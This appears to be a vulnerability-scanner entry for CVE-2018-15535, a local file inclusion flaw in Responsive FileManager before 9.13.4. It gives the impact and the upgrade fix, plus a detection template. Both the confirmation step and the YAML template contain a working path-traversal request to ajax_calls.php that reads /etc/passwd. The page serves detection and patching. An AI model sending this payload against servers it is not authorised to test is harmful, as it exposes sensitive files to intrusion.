Responsive FileManager <9.13.4 - Local File Inclusion

highseverity

7.5CVSS score

44.8%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

Responsive FileManager before version 9.13.4 is vulnerable to local file inclusion via filemanager/ajax_calls.php because it uses external input to construct a pathname that should be within a restricted directory, aka local file inclusion.

Impact

An attacker can exploit this vulnerability to read sensitive files on the server, potentially leading to unauthorized access or information disclosure.

Fix

Upgrade to Responsive FileManager version 9.13.4 or later to fix the vulnerability.

How to confirm it

Send: GET {{BaseURL}}/filemanager/ajax_calls.php?action=get_file&sub_action=preview&preview_mode=text&title=source&file=../../../../etc/passwd
Positive when: matches /root:.*:0:0:/ AND status 200

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The full check

id: CVE-2018-15535

info:
  name: Responsive FileManager <9.13.4 - Local File Inclusion
  author: daffainfo
  severity: high
  description: Responsive FileManager before version 9.13.4 is vulnerable to local file inclusion via filemanager/ajax_calls.php because it uses external input to construct a pathname that should be within a restricted directory, aka local file inclusion.
  impact: |
    An attacker can exploit this vulnerability to read sensitive files on the server, potentially leading to unauthorized access or information disclosure.
  remediation: |
    Upgrade to Responsive FileManager version 9.13.4 or later to fix the vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/45271
    - https://nvd.nist.gov/vuln/detail/CVE-2018-15535
    - http://seclists.org/fulldisclosure/2018/Aug/34
    - https://www.exploit-db.com/exploits/45271/
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2018-15535
    cwe-id: CWE-22
    epss-score: 0.44813
    epss-percentile: 0.98784
    cpe: cpe:2.3:a:tecrail:responsive_filemanager:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: tecrail
    product: responsive_filemanager
  tags: cve,cve2018,lfi,edb,seclists,tecrail,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/filemanager/ajax_calls.php?action=get_file&sub_action=preview&preview_mode=text&title=source&file=../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

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